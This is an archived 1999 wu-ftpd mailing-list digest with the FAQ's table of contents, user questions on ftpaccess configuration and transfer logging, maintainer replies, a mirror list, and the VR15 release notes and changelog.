From owner-wu-ftpd@wugate.wustl.edu Mon Mar 1 08:23:14 1999

From [email protected] Mon Mar 1 08:23:14 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA06281;
Mon, 1 Mar 1999 08:23:14 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA15606;
Mon, 1 Mar 1999 08:18:08 -0600 (CST)
Received: from pizza.hvu.nl ([145.89.234.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA06470
for <[email protected]>; Mon, 1 Mar 1999 08:03:13 -0600 (CST)
Received: (from koos@localhost) by pizza.hvu.nl (8.8.6/KH19980502 (dbm++)) id PAA12034 for [email protected]; Mon, 1 Mar 1999 15:03:03 +0100 (MET)
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 15:03:03 +0100 (MET)
Reply-To: [email protected]
Sender: [email protected]
From: Koos van den Hout _U nix and we all_ <[email protected]>
To: [email protected]
Subject: Contents of wu-ftpd FAQ
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

* Contents of the FAQ file for wu-ftpd. The complete file can be found at
http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
Or, send mail to [email protected] with as subject "send faq"
(without the quotes, body ignored).

THE_URL:file://localhost/home/staff/koos/wu-ftpd-faq/wu-ftpd-faq.contents.html
1. Contents of this FAQ
1. Contents of this FAQ
2. What is this document
3. What is wu-ftpd itself and this mailing list in particular ?
1. How do I subscribe/unsubscribe ?
2. Is this list archived anywhere ?
3. What are related documents ?
4. Are there any alternatives ?
4. Where do I get the wu-ftpd ?
1. Where do I get the updated version ?
2. What are the VR patches for wu-ftpd ?
3. What is BeroFTPD ?
5. Compiling the wu-ftpd
1. cc complains about strunames, typenames, modenames, ..
being undeclared.
2. I don't have yacc
3. wu-ftpd doesn't 'see' that users are in multiple groups.
4. I get "conflicting types for `realpath'"
5. wu-ftpd doesn't use the shadow passwords on my Linux
machine.
6. It doesn't compile at all on newer Linux installs. The
error is :
7. The timezone in the xferlog is wrong
8. The timezone in the ls output is wrong
9. Digital Unix doesn't log commands after an anonymous
user logs in
10. install fails with 'install: ..'
11. Digital Unix (The Unix Formerly Known As OSF/1) and
Enhanced C2 security,
12. It doesn't compile at all on Digital Unix, errors about
struct timeval
13. What should I do to be able to use wu-ftpd in a HP-UX
10.01
14. What should I do for HP-UX 10.10 to make it work
completely.
15. Installation notes for HP-UX 10.20.
6. Special compilation options/fixes
1. I need to authenticate real users via AFS
2. I need to use S/KEY authorisation
3. I want to block certain default addresses (IE30User@,
mozilla@)
7. Installing the wu-ftpd
1. Command-line options for wu-ftpd
2. Testing on a different port number then ftp
3. Not all command line parameters seem to be used by
wu-ftpd
8. Are there year 2000 issues with wu-ftpd?
9. The ftpaccess file
1. Some files (banners, etc) don't get shown to anonymous
users.
2. What is the exact format of the <times> parameter in the
"limit"
3. What tools are there to check the configuration
4. Why does %M produce (Max unlimited) on the login banner
10. Programs (ls, gzip, tar) work for real users, not for
anonymous users, giving errors like 425 Can't create data
socket (0.0.0.0,20): Bad file number or simply no output.
1. Solaris
2. Building a statically linked ls for Solaris fails
3. Linux
4. Dec OSF
5. SunOS4.1.x
6. AIX
7. IRIX (5.3, 6.2)
8. SCO Unix
9. BSD vs SVR4 ls
10. It worked, until I upgraded the operating system.
11. Running wu-ftpd
1. ftpd allways says "221 Server shutting down. Goodbye."
2. Anonymous ftp works fine, but real users are denied
access
3. ftpconversions doesn't work
4. On-the-fly compression works, on-the-fly tarring, but
not both.
5. I want to use zip compression (InfoZip)
6. I want a real user to be able to access the host only
via ftp, not via telnet
7. Somebody uploaded a file with a weird name
8. I want anonymous users to be able to upload files, but
in the most secure manner possible
9. The default umask used when a real user uploads a file
is wrong
10. I heard something about 'SITE EXEC' having a security
hole
11. How do I make reports more readable ?
12. Incoming file transfers fail with SunOS and an NFS
mounted incoming
13. Normal ftp clients work, Netscape ftp's fail. So,
passive mode doesn't work.
14. I made a symbolic link within the anonymous tree and it
doesn't work for the anonymous users.
15. I want to redirect anonymous users to another machine
16. ftpd stops accepting connections when a lot of
connections come in.
17. Running wu-ftpd on a *large* site
18. Only the first 8 characters of the anonymous username
are recieved by the server.
19. wu-ftpd fails with '500 Illegal PORT Command' under AIX
4.3
20. I want to host multiple ftp servers on the same machine
21. I just upgraded and now nobody can log in. It worked
before.
12. Other things
1. Where is the FTP protocol documented ?
2. How can I make my ftp-archive accessible by E-mail
(ftpmail) ?
13. Credits

---------------------------------------------------------------------------

From [email protected] Mon Mar 1 09:17:04 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA06877;
Mon, 1 Mar 1999 09:17:03 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA07558;
Mon, 1 Mar 1999 09:13:32 -0600 (CST)
Received: from helios.man.lublin.pl ([email protected] [194.92.17.34])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA26631
for <[email protected]>; Mon, 1 Mar 1999 09:12:07 -0600 (CST)
Received: from pc01.bdkdl.pl ([194.92.29.146]:1145 "HELO pc01" ident: "NO-IDENT-SERVICE") by helios.man.lublin.pl with SMTP id <10236-837>; Mon, 1 Mar 1999 16:11:46 +0100
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 16:09:20 +0100
Reply-To: [email protected]
Sender: [email protected]
From: "Dariusz J. Cichosz" <[email protected]>
To: <[email protected]>
Subject: Limit concurrent ftp sessions
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello All
Is it possible (in easy way - via ftpaccess) to limit concurrent ftp
sessions from other hosts.
It is so easy to create new ftp session via any www-browser. So, I would
like to limit that to 3 connections at time. But it should be a limit for
whole domain - just for one station.

Regards

Darius Cichosz

From [email protected] Mon Mar 1 09:51:10 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA07446;
Mon, 1 Mar 1999 09:51:10 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA22141;
Mon, 1 Mar 1999 09:46:06 -0600 (CST)
Received: from mail.vr.net (lundberg@[205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA20525
for <[email protected]>; Mon, 1 Mar 1999 09:41:06 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA15913;
Mon, 1 Mar 1999 10:38:58 -0500
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 10:38:58 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Dariusz J. Cichosz" <[email protected]>
Cc: [email protected]
Subject: Re: Limit concurrent ftp sessions
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 1 Mar 1999, Dariusz J. Cichosz wrote:

> Is it possible (in easy way - via ftpaccess) to limit concurrent ftp
> sessions from other hosts.
>
> It is so easy to create new ftp session via any www-browser. So, I
> would like to limit that to 3 connections at time. But it should be a
> limit for whole domain - just for one station.

That's a frequently requested feature. It has been on Stan's TODO list
for years. It's on my TODO list as well, but no idea when I'll get to it.
I've seen no patches along these lines; if anyone has one, it would
greatly facilitate mergin the feature into the daemon.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 1 10:15:28 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA07832;
Mon, 1 Mar 1999 10:15:27 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA25549;
Mon, 1 Mar 1999 10:12:04 -0600 (CST)
Received: from irene.ctv.es (irene.ctv.es [212.25.129.13])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA03732
for <[email protected]>; Mon, 1 Mar 1999 10:06:31 -0600 (CST)
Received: from smtp.apdo.com ([194.179.52.26])
by irene.ctv.es (8.9.3/8.9.1) with ESMTP id RAA01399
for <[email protected]>; Mon, 1 Mar 1999 17:05:54 +0100 (MET)
Received: from Antonio ([192.168.8.3])
by smtp.apdo.com (8.9.1/8.9.3) with SMTP id RAA25211
for <[email protected]>; Mon, 1 Mar 1999 17:05:57 +0100 (MET)
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 17:09:33 +0100
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: Problems in ftpaccess file
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
X-Envelope-To: <[email protected]>
X-mailer: Pegasus Mail for Win32 (v3.01b)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi everybody,

I have a problem with my ftpaccess file: I get this error on
syslog:
>ftpd[10066]: Too many args (>49) in ftpaccess: class
users guest,anonymous C-CLASS1 C-CLASS2 ....

This is because I have restricted my ftp to a C-Class list,
and this list is up to 49 IP classes.
How can I setup the ftpaccess file to make this possible?

Or ... maybe I have to modify a parameter and compile wu-
ftp again?

Thanx a lot!

From [email protected] Mon Mar 1 10:29:53 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA08068;
Mon, 1 Mar 1999 10:29:52 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA13909;
Mon, 1 Mar 1999 10:25:12 -0600 (CST)
Received: from mail.vr.net (lundberg@[205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA21778
for <[email protected]>; Mon, 1 Mar 1999 10:22:46 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id LAA16338;
Mon, 1 Mar 1999 11:22:32 -0500
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 11:22:32 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problems in ftpaccess file
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 1 Mar 1999 [email protected] wrote:

> I have a problem with my ftpaccess file: I get this error on syslog:
> ftpd[10066]: Too many args (>49) in ftpaccess: class users guest,anonymous C-CLASS1 C-CLASS2 ....
>
> This is because I have restricted my ftp to a C-Class list, and this
> list is up to 49 IP classes. How can I setup the ftpaccess file to
> make this possible?

Multiple class clauses naming the same class with different address blocks
should do it.

> Or ... maybe I have to modify a parameter and compile wu- ftp again?

If not, change MAXARGS in src/extensions.h and be sure to test thoroughly.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 1 11:09:13 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA08872;
Mon, 1 Mar 1999 11:09:12 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA23307;
Mon, 1 Mar 1999 11:05:19 -0600 (CST)
Received: from mail.vr.net (lundberg@[205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA13722
for <[email protected]>; Mon, 1 Mar 1999 11:00:10 -0600 (CST)
Received: (from lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) id MAA16753
for [email protected]; Mon, 1 Mar 1999 12:00:03 -0500
Message-Id: <[email protected]>
Date: Mon, 22 Feb 1999 12:00:00 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: VR mirrors
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

The VR updates for WU-FTPD include additional features requested over the
years by the user community and includes a number of bug fixes for both the
base 2.4.2 (beta-18) release and earlier VR updates.

The primary distribution site for these updates is:

ftp://ftp.vr.net/pub/wu-ftpd/

Mirrors are available at the following sites:

Canada
------
ftp://ftp.crc.ca/pub/packages/ftp/servers/wuarchive-ftpd-vr/

Hungary
-------
ftp://ftp.ahol.com/pub/mirrors/wu-ftpd/

Israel
------
ftp://ftp.tau.ac.il/pub/unix/ftp/wu-ftpd/VR/

Japan
-----

Ring Server Project
-------------------
ftp://ftp.ring.gr.jp/pub/net/wu-ftpd/
http://www.ring.gr.jp/archives/net/wu-ftpd/

ftp://ring.aist.go.jp/pub/net/wu-ftpd/
http://ring.aist.go.jp/archives/net/wu-ftpd/

ftp://ring.asahi-net.or.jp/pub/net/wu-ftpd/
http://ring.asahi-net.or.jp/archives/net/wu-ftpd/

ftp://ring.so-net.ne.jp/pub/net/wu-ftpd/
http://ring.so-net.ne.jp/archives/net/wu-ftpd/

ftp://ring.nacsis.ac.jp/pub/net/wu-ftpd/
http://ring.nacsis.ac.jp/archives/net/wu-ftpd/

ftp://ring.etl.go.jp/pub/net/wu-ftpd/
http://ring.etl.go.jp/archives/net/wu-ftpd/

Other Japan sites
-----------------
ftp://ftp.win.ne.jp/pub/network/wu-ftpd/

ftp://mirror.nucba.ac.jp/mirror/wu-ftpd/
http://mirror.nucba.ac.jp/mirror/wu-ftpd/

ftp://ftp.cin.nihon-u.ac.jp/pub/net/ftp/wu-ftpd-vr/

Sweden
------
ftp://ftp.sunet.se/pub/nir/ftp/servers/wuarchive-ftpd-vr/
http://ftp.sunet.se/pub/nir/ftp/servers/wuarchive-ftpd-vr/

Switzerland
-----------
ftp://sunsite.cnlab-switch.ch/mirror/wu-ftpd-vr/

United Kingdom
--------------
ftp://sunsite.org.uk/Mirrors/ftp.vr.net/pub/wu-ftpd/
http://sunsite.org.uk/Mirrors/ftp.vr.net/pub/wu-ftpd/

ftp://ftp.ox.ac.uk/pub/comp/security/COAST/mirrors/ftp.vr.net/

If you run a mirror and would like it listed above, just send me the URL.
Unless your local policy requires it, there is no need to ask my permission
to mirror the primary distribution site. I do like knowing who is
mirroring, though.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 1 11:10:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA08910;
Mon, 1 Mar 1999 11:10:19 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA11446;
Mon, 1 Mar 1999 11:06:50 -0600 (CST)
Received: from mail.vr.net (lundberg@[205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA30164
for <[email protected]>; Mon, 1 Mar 1999 11:00:10 -0600 (CST)
Received: (from lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) id MAA16750
for [email protected]; Mon, 1 Mar 1999 12:00:03 -0500
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 12:00:00 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: [VR15] More enhancements and bug fixes for beta-18
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

The VR15 update for WU-FTPD 2.4.2 (beta-18) is now available.

The VR updates for WU-FTPD include additional features requested over the
years by the user community and include a number of bug fixes for both the
base 2.4.2 (beta-18) release and earlier VR updates.

This update is primarily bug fixes to improve cross-platform compatability
and to correct minor problems noted in testing on various platforms.

Wildcards in IP numbers have been re-enabled, improving the ability of the
VR series to serve as a drop-in replacement for older versions of the
daemon.

A new feature has been added to improve security for real and guest users
by restricting them to their home directories. See the 'restricted-uid'
option in the ftpaccess man page for details and an example.

These are available as both patches and pre-patched tarballs at:

ftp://ftp.vr.net/pub/wu-ftpd/

A current mirrors listing is available at:

fpt://ftp.vr.net/pub/wu-ftpd/MIRRORS

MD5 Package
--- -------
a47f029bd6ab37dbb2ad7e4c99fd6e60 wu-ftpd-2.4.2-beta-18-vr15.tar.Z
890a9e42ba5c6895fc58b22d3a4dd51f wu-ftpd-2.4.2-beta-18-vr15.tar.gz

bcd74875a953676ba9f8de4c315f9712 wu-ftpd-2.4.2-beta-18-vr3.patch
863e294eddfe2c772cd9c541372c7e1d wu-ftpd-2.4.2-beta-18-vr4.patch
8f7d523eff5785a901d8ec9330e7b2a4 wu-ftpd-2.4.2-beta-18-vr5.patch
891ea301ab535e3aa55c5da4c3b3dd37 wu-ftpd-2.4.2-beta-18-vr6.patch
dc1672289c2da25880f7c63f21b37122 wu-ftpd-2.4.2-beta-18-vr7.patch
602b1431727261a4b16340853f6d81c3 wu-ftpd-2.4.2-beta-18-vr8.patch
9eee17b78a3a245dd71476e9426baaa0 wu-ftpd-2.4.2-beta-18-vr9.patch
c85059908d124be5a6a9c8331c5322c0 wu-ftpd-2.4.2-beta-18-vr10.patch
fb9596c5950cee6bad0e0d70fa168ccf wu-ftpd-2.4.2-beta-18-vr11.patch
caaeceacb995768c8f99628fe54af798 wu-ftpd-2.4.2-beta-18-vr12.patch
1ee90ee4ba0df2be01c7b3151584e5d4 wu-ftpd-2.4.2-beta-18-vr13.patch
06a7bb970ae9a0f0223851b28337638f wu-ftpd-2.4.2-beta-18-vr14.patch
06b836e378df226143271e3514f895cd wu-ftpd-2.4.2-beta-18-vr15.patch

If you take just the patch files, please remember: they are cumulative.
you cannot apply fixes from one set without earlier sets already having
been applied. The first set for BETA-18 is VR3; VR1 and VR2 were for
BETA-17 only.

Pre-compiled binaries for VR15 are available. Check the binaries directory
to see if a pre-compiled version is available for your platform.

This is a list of fixes to BETA 18 with VR14 applied from [email protected]
---------------------------------------------------------------------------
Philip Gwyn <[email protected]> points out that /etc is cluttered enough
but the config files make it harder than it has to be to use /etc/ftpd for
the daemon configuration files. Updated config files to test for a value
before setting the default. Look in src/makefiles/Makefile.lnx for an
example of how to automatically test the target for this, or just add
-DUSE_ETC_FTPD to COPTS in your Makefile.

Mark Lysek <[email protected]> notes that wildcards (*) on hostmatch
used to work and don't any more. The were removed because the original
method was insecure. His patch solves the problem and re-institutes this
feature without the potential security problems of the old method.

Alain ENOUT <[email protected]> submits a change to allow OPIE to use the
OPIE access file, thus allowing some users to user password authentication
while requiring others to use OPIE.

Oliver Billmann <[email protected]> and Kazuyoshi Komine
<[email protected]> note a couple more errors in quota support.

Tomasz R. Surmacz <[email protected]> points out the Perl script for
xferstats provided with the daemon calls for /usr/local/bin/perl when Perl
is usually in /usr/bin/perl. You shouldn't be using this script anyway,
get Phil's version; it's MUCH better.

Ayamura Kikuchi <[email protected]> says Sun forgot to include RAND_MAX
in their implementation of srand()/rand() on SunOS 4.1.

Glenn Nielsen <[email protected]> has contributed a patch which enhances the
operation of guest users by restricting guests to their home directories.
This is similar in intent to a patch posted to the mailing list on Dec 1,
1997, by Thorsten.Ludewig@@RZ.FH-Wolfenbuettel.DE which suggested the use
of a 'chdir' clause which operated similar to 'chmod'. Glenn's patch,
however, was a much more complete implementation. The original patch used
a single compiled-in uid; I have added ftpaccess clauses to control the
operation of this feature. Refer to the man page for ftpaccess for a
description of these new clauses.

Steve D'Angona X4319 <[email protected]> pointed out several places where
int was being used and size_t was correct. This may, or may not, fix
problems getting the daemon to work on AIX.

Rainer Kuerschner <[email protected]> discovered why defumask
was causing problems on HPUX. Another case of mis-matched
definition/extern.

Stefan Vogel <[email protected]> made a comment about alloc which made
me look and discover that a number of places there was no check for errors
from the allocation.

Stefan Vogel <[email protected]> points out an error which causes AIX
to sometimes report 0 for the filesize when a download begins.

Stefan Vogel <[email protected]> says the reason the daemon won't work
on AIX is the size_t_blksize change made as an experiment way-back-when.
Backed out that change. Let's see what happens.

Shigeharu Isoda <[email protected]> reports a #define conflict on
NetBSD. Protect it with #ifndef.

Scott Parmenter <[email protected]> was codereading and noticed a
typo selecting the wrong HELP_CRACKERS patch in one place. Duh.

Ian Willis <[email protected]> provides some code cleanup for the xferlog print
which we fixed in VR14.

Albert Lunde <[email protected]> reports a case where _PATH_XFERLOG may
not be defined at all in src/pathnames.h. Ouch.

Stefan Vogel <[email protected]> provided additional corrections for
AIX 4.2 and large file support. Earlier versions of AIX may need to edit
support/makefiles/Makefile.aix if they don't have snprintf() or strdup().

Geir Johannessen <[email protected]> reports the -X command-line option and
'log syslog' are not working as documented. The switch was re-initialized
by the 'log' clauses.

Oliver Billmann <[email protected]> points out we really don't need
to #undef NO_PRIVATE twice in config.h .. it just confuses things.

Ian Willis <[email protected]> sent along changes completing the changeover from
SCO Unix to SCO OpenServer 5.

The stock compiler on SunOS 4.1 is breaindead. Use gcc instead. Also
found during trials that getcwd() works fine on s41 and enabled it. Found
that on a SunOS 4.1 using NFS in the FTP area, fchdir() doesn't always work
so if you have problems, #define HAS_NO_FCHDIR to see if that helps.

Stefan Vogel <[email protected]> sent along changes completing support
for AIX.To enable Large File support, use './build aix LF=YES'

Steve D'Angona X4319 <[email protected]> noticed that NLST with a directory
ending with / doubled up the slash. This had been there for years.

Aris Yannopoulos <[email protected]> requests a means to completely disable
anonymous FTP access. Done as a compile-time option, see config.h

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 1 12:26:56 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA09943;
Mon, 1 Mar 1999 12:26:55 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA27915;
Mon, 1 Mar 1999 12:23:33 -0600 (CST)
Received: from iloginc.ilog.com ([208.227.181.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA04765
for <[email protected]>; Mon, 1 Mar 1999 12:19:35 -0600 (CST)
Received: from iloginc (localhost [127.0.0.1])
by iloginc.ilog.com (8.9.1/8.9.1) with ESMTP id KAA10379;
Mon, 1 Mar 1999 10:21:56 -0800 (PST)
Message-Id: <[email protected]>
Date: Mon, 01 Mar 1999 10:21:56 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Daniel Fong <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: xferlog doesn't work
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello,

I am able to log into the ftp server fine and do uploads and downloads, but
nothing is recorded in the xferlog. How do I get it to do that?

This is what I have in /usr/local/etc/ftpaccess:

log commands real,guest
log transfers anonymous,real,guest inbound,outbound

I assume it should create the xferlog file so I haven't created one in
/var/adm/ or /var/log/

Thanks.

-Dan

From [email protected] Mon Mar 1 13:06:05 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA10496;
Mon, 1 Mar 1999 13:06:04 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA28722;
Mon, 1 Mar 1999 13:02:18 -0600 (CST)
Received: from mail.vr.net (lundberg@[205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA11287
for <[email protected]>; Mon, 1 Mar 1999 12:57:07 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id NAA17900;
Mon, 1 Mar 1999 13:56:52 -0500
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 13:56:52 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Daniel Fong <[email protected]>
Cc: [email protected], [email protected]
Subject: Re: xferlog doesn't work
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 1 Mar 1999, Daniel Fong wrote:

> I am able to log into the ftp server fine and do uploads and
> downloads, but nothing is recorded in the xferlog. How do I get it to
> do that?
>
> This is what I have in /usr/local/etc/ftpaccess:
>
> log commands real,guest
> log transfers anonymous,real,guest inbound,outbound
>
> I assume it should create the xferlog file so I haven't created one in
> /var/adm/ or /var/log/

Add -l to the command line and don't forget to -HUP inetd after you do.
Also, check that the daemon is really using the ftpaccess file (chconfig
may help, I suggest a test which ensures you're using the right
ftpaccess).

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 1 13:31:54 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA10787;
Mon, 1 Mar 1999 13:31:53 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA13787;
Mon, 1 Mar 1999 13:28:32 -0600 (CST)
Received: from iloginc.ilog.com ([208.227.181.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA02457
for <[email protected]>; Mon, 1 Mar 1999 13:25:57 -0600 (CST)
Received: from iloginc (localhost [127.0.0.1])
by iloginc.ilog.com (8.9.1/8.9.1) with ESMTP id LAA13970;
Mon, 1 Mar 1999 11:27:43 -0800 (PST)
Message-Id: <[email protected]>
Date: Mon, 01 Mar 1999 11:27:42 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Daniel Fong <[email protected]>
To: [email protected]
Cc: Daniel Fong <[email protected]>, [email protected]
Subject: Re: xferlog doesn't work
In-Reply-To: Your message of "Mon, 01 Mar 1999 13:56:52 EST."
<[email protected]>
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Gregory A Lundberg <[email protected]> said:

> > I am able to log into the ftp server fine and do uploads and
> > downloads, but nothing is recorded in the xferlog. How do I get it to
> > do that?
> >
> > This is what I have in /usr/local/etc/ftpaccess:
> >
> > log commands real,guest
> > log transfers anonymous,real,guest inbound,outbound
> >
> > I assume it should create the xferlog file so I haven't created one in
> > /var/adm/ or /var/log/
>
> Add -l to the command line and don't forget to -HUP inetd after you do.
> Also, check that the daemon is really using the ftpaccess file (chconfig
> may help, I suggest a test which ensures you're using the right
> ftpaccess).

Hello,

I've added the -l but that doesn't seem to help.

ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd -l

Here is the output from the ckconfig command:

Checking _PATH_FTPUSERS :: /etc/ftpusers
I can't find it... look in doc/examples for an example.

Checking _PATH_FTPACCESS :: /etc/ftpaccess
ok.

Checking _PATH_PIDNAMES :: /var/adm/ftp.pids-%s
ok.

Checking _PATH_CVT :: /etc/ftpconversions
I can't find it... look in doc/examples for an example.

Checking _PATH_XFERLOG :: /var/adm/xferlog
ok.

Checking _PATH_PRIVATE :: /etc/ftpgroups
I can't find it... look in doc/examples for an example.
You only need this if you want SITE GROUP and SITE GPASS
functionality. If you do, you will need to edit the example.

Checking _PATH_FTPHOSTS :: /etc/ftphosts
I can't find it... look in doc/examples for an example.
You only need this if you are using the HOST ACCESS features
of the server.

Thanks.

-Dan

From [email protected] Mon Mar 1 13:57:32 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA11236;
Mon, 1 Mar 1999 13:57:31 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA28682;
Mon, 1 Mar 1999 13:54:05 -0600 (CST)
Received: from mail.vr.net (lundberg@[205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA16008
for <[email protected]>; Mon, 1 Mar 1999 13:48:25 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA18292;
Mon, 1 Mar 1999 14:48:10 -0500
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 14:48:10 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Daniel Fong <[email protected]>
Cc: [email protected]
Subject: Re: xferlog doesn't work
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 1 Mar 1999, Daniel Fong wrote:

> > > I am able to log into the ftp server fine and do uploads and
> > > downloads, but nothing is recorded in the xferlog. How do I get it to
> > > do that?
> > >
> > > This is what I have in /usr/local/etc/ftpaccess:
> > >
> > > log commands real,guest
> > > log transfers anonymous,real,guest inbound,outbound
> > >
